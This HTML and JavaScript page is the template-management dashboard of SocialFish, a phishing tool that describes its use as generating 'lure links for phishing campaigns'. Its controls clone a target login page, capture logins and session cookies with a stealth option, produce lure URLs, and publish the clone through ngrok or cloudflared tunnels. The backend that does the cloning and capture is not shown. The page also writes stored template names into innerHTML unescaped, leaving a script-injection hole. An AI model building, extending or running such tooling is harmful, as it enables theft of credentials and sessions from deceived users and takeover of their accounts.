<!DOCTYPE html>
<html>
<head>
    <title>Templates - SocialFish</title>
    <link rel="stylesheet" href="/static/css/theme.css">
    <link rel="stylesheet" href="/static/vendor/bootstrap-4.1/bootstrap.min.css">
    <style>
        body { background: #1a1a1a; color: #fff; }
        .navbar { background: #222; }
        .card { background: #2a2a2a; border: 1px solid #444; }
        .btn { margin: 5px; }
        .template-list { display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 20px; margin-top: 20px; }
        .template-card { padding: 15px; background: #2a2a2a; border: 1px solid #444; border-radius: 8px; }
        .template-card h5 { color: #4CAF50; }
        .template-card .url { font-size: 0.9em; color: #aaa; word-break: break-all; }
        .action-button { margin: 5px; }
    </style>
</head>
<body>
    <nav class="navbar navbar-dark">
        <span class="navbar-brand mb-0 h1">SocialFish Templates</span>
        <button class="btn btn-success btn-sm" onclick="showNewTemplateModal()">+ New Template</button>
    </nav>

    <div class="container mt-4">
        <h2>Saved Templates</h2>
        <p>Clone URLs, manage templates, and generate lure links for phishing campaigns.</p>

        <div class="template-list" id="templateList">
            <!-- Templates will be loaded here -->
        </div>
    </div>

    <!-- New Template Modal -->
    <div class="modal fade" id="newTemplateModal">
        <div class="modal-dialog">
            <div class="modal-content" style="background: #2a2a2a;">
                <div class="modal-header">
                    <h5>Create New Template</h5>
                    <button type="button" class="close" onclick="closeModal()">&times;</button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label>Template Name</label>
                        <input type="text" class="form-control" id="templateName" placeholder="e.g., Office365 Clone">
                    </div>
                    <div class="form-group">
                        <label>Target URL to Clone</label>
                        <input type="url" class="form-control" id="targetUrl" placeholder="https://login.example.com">
                    </div>
                    <div class="form-group">
                        <label>Clone Mode</label>
                        <select class="form-control" id="cloneMode">
                            <option value="both">Both (Login + Cookies)</option>
                            <option value="login">Login Only</option>
                            <option value="cookies">Cookies Only</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <label>Browser Engine</label>
                        <select class="form-control" id="browserEngine">
                            <option value="playwright">Playwright (Recommended)</option>
                            <option value="selenium">Selenium</option>
                        </select>
                    </div>
                    <div class="form-check">
                        <input type="checkbox" class="form-check-input" id="headless" checked>
                        <label class="form-check-label">Headless Mode</label>
                    </div>
                    <div class="form-check">
                        <input type="checkbox" class="form-check-input" id="stealth" checked>
                        <label class="form-check-label">Stealth Mode</label>
                    </div>
                </div>
                <div class="modal-footer">
                    <button class="btn btn-secondary" onclick="closeModal()">Cancel</button>
                    <button class="btn btn-success" onclick="createTemplate()">Start Recording</button>
                </div>
            </div>
        </div>
    </div>

    <script src="/static/vendor/jquery-3.2.1.min.js"></script>
    <script src="/static/vendor/bootstrap-4.1/bootstrap.min.js"></script>
    <script>
        function loadTemplates() {
            fetch('/templates', { headers: { 'Accept': 'application/json' } })
                .then(r => r.json())
                .then(templates => {
                    const list = document.getElementById('templateList');
                    list.innerHTML = '';
                    templates.forEach(t => {
                        list.innerHTML += `
                            <div class="template-card">
                                <h5>${t.name}</h5>
                                <p class="url">${t.base_url}</p>
                                <p><small>${t.clone_mode} | ${t.created_at}</small></p>
                                <button class="btn btn-sm btn-primary action-button" onclick="runTemplate(${t.id})">Run</button>
                                <button class="btn btn-sm btn-info action-button" onclick="generateLure(${t.id})">Lure</button>
                                <button class="btn btn-sm btn-warning action-button" onclick="configureTunnel(${t.id})">Tunnel</button>
                                <button class="btn btn-sm btn-danger action-button" onclick="deleteTemplate(${t.id})">Delete</button>
                            </div>
                        `;
                    });
                });
        }

        function showNewTemplateModal() {
            document.getElementById('newTemplateModal').classList.add('show');
            document.getElementById('newTemplateModal').style.display = 'block';
        }

        function closeModal() {
            document.getElementById('newTemplateModal').classList.remove('show');
            document.getElementById('newTemplateModal').style.display = 'none';
        }

        function createTemplate() {
            const name = document.getElementById('templateName').value;
            const url = document.getElementById('targetUrl').value;
            const mode = document.getElementById('cloneMode').value;
            const engine = document.getElementById('browserEngine').value;
            
            if (!name || !url) {
                alert('Name and URL required');
                return;
            }

            fetch('/recorder/save-template', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    name, url, clone_mode: mode, browser_engine: engine
                })
            }).then(r => r.json()).then(data => {
                if (data.status === 'ok') {
                    alert(`Template created! ID: ${data.template_id}`);
                    closeModal();
                    loadTemplates();
                }
            });
        }

        function runTemplate(id) {
            window.location.href = `/templates/${id}`;
        }

        function generateLure(templateId) {
            fetch('/lure/generate', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ template_id: templateId })
            }).then(r => r.json()).then(data => {
                alert(`Lure URL: ${data.lure_url}`);
                prompt('Copy this lure URL:', data.lure_url);
            });
        }

        function configureTunnel(templateId) {
            const tunnelType = prompt('Tunnel type (ngrok/cloudflared)?', 'ngrok');
            if (!tunnelType) return;
            
            const token = prompt(`Enter ${tunnelType} token (or leave blank):`);
            
            fetch('/tunnel/setup', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    template_id: templateId,
                    tunnel_type: tunnelType,
                    tunnel_token: token
                })
            }).then(r => r.json()).then(data => {
                if (data.status === 'ok') {
                    alert(`Tunnel started:\n${data.tunnel_url}`);
                }
            });
        }

        function deleteTemplate(id) {
            if (confirm('Delete this template?')) {
                // TODO: implement delete endpoint
                alert('Delete not yet implemented');
            }
        }

        // Load templates on page load
        loadTemplates();
        setInterval(loadTemplates, 5000); // Refresh every 5 seconds
    </script>
</body>
</html>
